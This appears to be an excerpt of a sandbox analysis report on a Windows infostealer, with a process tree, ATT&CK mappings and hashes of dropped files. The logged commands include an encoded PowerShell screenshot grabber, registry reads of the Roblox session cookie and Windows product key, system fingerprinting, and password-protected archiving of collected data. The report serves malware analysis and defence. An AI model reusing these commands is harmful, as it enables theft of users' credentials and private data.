    C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4660
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1448
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\1uqjd3tw\1uqjd3tw.cmdline"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1696
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES217D.tmp" "c:\Users\Admin\AppData\Local\Temp\1uqjd3tw\CSC6006EC685F4B448FB1D1771D96D56F6.TMP"
        6⤵
        
        PID:772
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3436
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:3828
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1180
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:3212
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3664
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:2716
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2520
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:3824
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4300
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:2768
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4424
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3020
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2220
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4372
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "getmac"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:916
  - - C:\Windows\system32\getmac.exe
      getmac
      4⤵
      PID:2716
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI9122\rar.exe a -r -hp"blank123" "C:\Users\Admin\AppData\Local\Temp\I1IsS.zip" *"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4484
  - - C:\Users\Admin\AppData\Local\Temp\_MEI9122\rar.exe
      C:\Users\Admin\AppData\Local\Temp\_MEI9122\rar.exe a -r -hp"blank123" "C:\Users\Admin\AppData\Local\Temp\I1IsS.zip" *
      4⤵
      Executes dropped EXE
      PID:3380
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic os get Caption"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2876
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic os get Caption
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3908
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2396
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic computersystem get totalphysicalmemory
      4⤵
      PID:2024
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4396
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      PID:3884
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4012
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:3540
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1616
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name
      4⤵
      Detects videocard installed
      PID:1700
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3404
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:1740

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Wi-Fi Discovery

T1016.002

Lateral Movement

Collection

Clipboard Data

T1115

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 2c42785f059fe30db95b10a87f8cb64a16abc3aa47cb655443bdec747244ec36
MD5 74e4a39ae145a98de20041613220dfed
SHA1 ac5dd2331ae591d7d361e8947e1a8fba2c6bea12
SHA512 96ba3135875b0fe7a07a3cf26ad86e0df438730c8f38df8f10138184dacd84b8e0cded7e3e84475d11057ceefe2e357136762b9c9452fbb938c094323c6b729b
TLSH
T1C571CC713375B0D889163F47192C5AC423BF8365F994AF4CB698624ED92740B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 70403ccad41d73af48ab5773271d833c64dd42e97279c281e2ef76bdbd3c6f51
MD5 9fe4cd5675481c6c8c97e2f2e9c76c96
SHA1 b97159260e37b3fa7e89852d825d8cf0583258ee
SHA512 8eeab245b6e6e43347d1db6afda002afded1d419dd440823efc44375ba24817d27323c21fe33c2bda4dbd414748cd4071759651c469b6b6691117fec9835e1ac
TLSH
T120216333B3DCC135C899017A158DAE00B6B4C3DB00AEDE8B7A84C508EA7F989DB641E4
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 fb485201330a5ca14dc2d7a80ecf88b5c9e53d59929f9234c3ccf7548e2fe73f
MD5 d457c1f4bc93b922760f898f5ee33a51
SHA1 73b3a14397cddbaf0f61cf73df084973e2d781f1
SHA512 84f2942c741f0034f4c83cc58350d8c63e150b1bf02c2c65e07ee2f259dd5679b2e318faec233d2be6e5d4ce67ce7b56725dd4ab4a3186aef34d62da35bcff17
TLSH
T12D218633B7ACC235C8D911BA208CAD01B2B5C3C7449ECE8B7B84C518A57F99ADB645E4
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 f9b7c0fe3cd93479e5773059220989b5ce4f61453b1bde21672869992e30bc4e
MD5 dd5531676689cd60aabad1d3bd4191d8
SHA1 20b25222471271b93ddea4f8e25e9b27b7f89b82
SHA512 a8a6dcc667f1e0b12f0ab82953966e862f6c7d40ce097f6e75f88d6b1d7432c39d33910df33c4e2ca8c903c093b9e6dcf9febd6392fcdfd85454f2d4f74977e7
TLSH
T119117A33B79CC134C8D9157A1088AD11B1B1C3CB009EDE9F7B84C109E57F99AEB641E4
MD5 SHA1 SHA512 TLSH

Submit Download

1uqjd3tw.dll

Path C:\Users\Admin\AppData\Local\Temp\1uqjd3tw\1uqjd3tw.dll
Size 4KB
SHA256 e396c3ee17949f11076befd96ab26fb60efc11fa69617567c82a9441d6b99b97
MD5 cc2f8ee981c876b9eeffbf7fb4876694
SHA1 ca3dac58aad05d556fad7a036ab269d3a8e05fa3
SHA512 1fdb693a722379ded6d3d860b7c201c99caf7f78217d66caea77861379ba09d56e40590fca9e98f80fdb0ec8ab02e2cd170b82029da3bdd913b0af966a1c04eb
TLSH
T1B581471693D8C66AF4BE0B75ADE393071775E9108A32D34F1C84126CAC713646B25FA5
MD5 SHA1 SHA512 TLSH

Submit Download

RES217D.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES217D.tmp
Size 1KB
SHA256 eef1be6e7212c95fcf25b70120f4ca3168c995bbcf5f55be8f2b4b63c4ae301e
MD5 45f9bd5425b044cafd5aac80b9d34f79
SHA1 7494c1cc07dc9721b8ec28d886200bb386fbfc4b
SHA512 179888f21a3e0fc73bb87ed1858997b0664648faf0b106ea421bb6338b7cc6330b471405b3168e894d19ed1ae5c3d5761a513d948d9be2ba5c0967f26e1235b1
TLSH
T1B2218C0543F9871FF0B35732A9FA572BA125FDA4EFA1639A8540522C2C91604DEA1F72
MD5 SHA1 SHA512 TLSH

Submit Download

VCRUNTIME140.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI9122\VCRUNTIME140.dll
Size 106KB
SHA256 69320f278d90efaaeb67e2a1b55e5b0543883125834c812c8d9c39676e0494fc
MD5 49c96cecda5c6c660a107d378fdfc3d4
SHA1 00149b7a66723e3f0310f139489fe172f818ca8e
SHA512 e09e072f3095379b0c921d41d6e64f4f1cd78400594a2317cfb5e5dca03dedb5a8239ed89905c9e967d1acb376b0585a35addf6648422c7ddb472ce38b1ba60d
SSDEEP 1536:BcghDMWyjXZZIzpdbJhKm6Kuzu8fsecbq8uOFQr+zMtY+zA:BVHyQNdbJAKuzRsecbq8uOFvyU
TLSH
T1E5B37C4672A442F7D0AAD174C2E38A47FB70B4418B60A3CF03B58A650F63BE19E3D359
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_bz2.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI9122\_bz2.pyd
Size 48KB
SHA256 17bfa656cabf7ef75741003497a1c315b10237805ff171d44625a04c16532293
MD5 c413931b63def8c71374d7826fbf3ab4
SHA1 8b93087be080734db3399dc415cc5c875de857e2
SHA512 7dc45e7e5ed35cc182de11a1b08c066918920a6879ff8e37b6bfbdd7d40bffa39ea4aca778aa8afb99c81a365c51187db046bceb938ce9ace0596f1cf746474f
SSDEEP 1536:qFvfmA9WmLbAsqCWrTZI+ufIsCViS7SyhxG:YfhAXplI+qIsCViSk
TLSH
T12D23CF5342659464DC230EB238D94A2DEF72FA9B5540C7D73359923E4FB17823F9223A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_ctypes.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI9122\_ctypes.pyd
Size 58KB
SHA256 9ffadcb2c40ae6b67ab611acc09e050bbe544672cf05e8402a7aa3936326de1f
MD5 00f75daaa7f8a897f2a330e00fad78ac
SHA1 44aec43e5f8f1282989b14c4e3bd238c45d6e334
SHA512 f222f0ebf16a5c6d16aa2fba933034e692e26e81fea4d8b008259aff4102fe8acf3807f3b016c24002daa15bb8778d7fef20f4ae1206d5a6e226f7336d4da5d4
SSDEEP 1536:xoC2SLyUQvjpxgmylKvpe0nqi1bsYrrRh4EAgTICIsLPS/7SyxxIYY:KJuyBUEReEBsYrv/ECIsLPS/lY
TLSH
T16443D1F295E8C829CD16CD327DE44A25EB3679D35650828F329C92779B3368258B3378
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_hashlib.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI9122\_hashlib.pyd
Size 35KB
SHA256 d42c3550e58b9aa34d58f709dc65dc4ee6eea83b651740822e10b0aa051df1d7
MD5 b227bf5d9fec25e2b36d416ccd943ca3
SHA1 4fae06f24a1b61e6594747ec934cbf06e7ec3773
SHA512 c6d7c5a966c229c4c7042ef60015e3333dab86f83c230c97b8b1042231fdb2a581285a5a08c33ad0864c6bd82f5a3298964ab317736af8a43e7caa7669298c3e
SSDEEP 768:d35lZrQBD7Xiyfulct4ziTpojMIsOIHQ5YiSyvaAMxkEr4:p5YM8ulcKljMIsOIHC7SyAxn4
TLSH
T130F2D1E38660DC2CD8238EF131D49D29FE767A678940C7DB2249917B4F623429FD22B5
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_lzma.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI9122\_lzma.pyd
Size 85KB
SHA256 d2a7111feeaacac8b3a71727482565c46141cc7a5a3d837d8349166bea5054c9
MD5 542eab18252d569c8abef7c58d303547
SHA1 05eff580466553f4687ae43acba8db3757c08151
SHA512 b7897b82f1aa9d5aa895c3de810dab1aa335fdf7223e4ff29b32340ad350d9be6b145f95a71c7bc7c88c8df77c3f04853ae4d6f0d5a289721fc1468ecba3f958
SSDEEP 1536:gQMcTNoOKoMWf9p5pYRCyO1yKprdsf2+iyfyiMIsZ1pc7SyExpg:9TiNo/VyMy3KpM2+id5IsZ1pcN
TLSH
T12D83F1775661E854DE3745B024C80927FB7ABAC21D60CBCB325C83A84F68743A79727E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_queue.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI9122\_queue.pyd
Size 25KB
SHA256 e71803913b57c49f4ce3416ec15dc8a9e5c14f8675209624e76cd71b0319b192
MD5 347d6a8c2d48003301032546c140c145
SHA1 1a3eb60ad4f3da882a3fd1e4248662f21bd34193
SHA512 b1fdb46b80bb4a39513685781d563a7d55377e43e071901930a13c3e852d0042a5302cd238ddf6ea4d35ceee5a613c96996bffad2da3862673a0d27e60ff2c06
SSDEEP 768:6+gXCwvc8pzLIsQUH25YiSyvYAMxkEl1C:KCwvcMLIsQUHM7SyexXC
TLSH
T18FC2AEA346B85C38DE238D7235D44825FD31BC978690C2DB32ADC2764F663426AA53B2
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_socket.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI9122\_socket.pyd
Size 43KB
